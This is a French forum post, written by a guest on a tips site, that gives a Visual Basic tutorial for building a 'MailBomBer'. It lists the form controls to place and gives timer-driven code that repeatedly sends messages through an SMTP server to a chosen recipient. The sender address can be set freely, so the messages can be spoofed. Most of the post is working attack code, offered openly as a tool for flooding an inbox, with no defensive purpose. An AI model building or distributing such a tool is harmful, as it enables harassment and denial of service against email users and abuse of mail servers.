Bienvenue sur Forum d'Astuces


 
AccueilCalendrierFAQRechercherMembresGroupesS'enregistrerConnexion
~ [Attention] Je ne serais en aucun cas tenu pour responsable de vos actes à vos risques et périls. Mais je tiens à vous dire que je n'utilise aucun virus dans mes programmes, scripts ... Wink [Attention] ~
Visites
Sujets similaires
Connect in the world
Faites-vos dons
Connexion
Nom d'utilisateur:
Mot de passe:
Connexion automatique: 
:: Récupérer mon mot de passe
Partenaires




Partagez | 
 

 Créer un MailBomBer [VB] [Anonyme]

Aller en bas 
AuteurMessage
Invité
Invité
avatar


MessageSujet: Créer un MailBomBer [VB] [Anonyme]   Mar 5 Avr - 8:40

Pour le créer il vous faut
- 6 Labels
- 2 Boutons
- 5 Textbox
- 2 Timer
Dans une Label mettez Adresse de L'expéditeur, la deuxième : Adresse du Destinataire, la troisième SMTP, la quatrième : Sujet et la 5ème Message, dans la sixième vous mettez un 0.
Vous pouvez modifier comme bon vous semble le texte hein :p

Puis nommer les boutons comme vous le voulez Start Et Stop.
Placez les Textbox à coté des Labels.
Maintenant les codes
Timer1 :
Code:
Dim MyMailMessage As New MailMessage()


MyMailMessage.From = New MailAddress(TextBox2.Text)

MyMailMessage.To.Add(TextBox4.Text)

MyMailMessage.Subject = TextBox5.Text
MyMailMessage.Body = (Me.TextBox1.Text)


Dim SMTPServer As New SmtpClient(TextBox3.Text)


Try
SMTPServer.Send(MyMailMessage)

Catch ex As SmtpException
Timer1.Enabled = False
Timer2.Enabled = False
MessageBox.Show("SMTP Error")
End Try

Timer 2 :
Code:
Label6.Text = Label6.Text + 1
Bouton Start :
Code:
Timer1.Enabled = True
Timer2.Enabled = True
Bonton Stop :
Code:
Timer1.Enabled = False
Timer2.Enabled = False
Revenir en haut Aller en bas
 
Créer un MailBomBer [VB] [Anonyme]
Revenir en haut 
Page 1 sur 1
 Sujets similaires
-
» Un tueur anonyme de modérateurs JOL dans les SoN !
» [Suggestion] Permettre d'écrire de manière anonyme !

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
Bienvenue sur Forum d'Astuces :: Windows :: Visual Basic-
Sauter vers: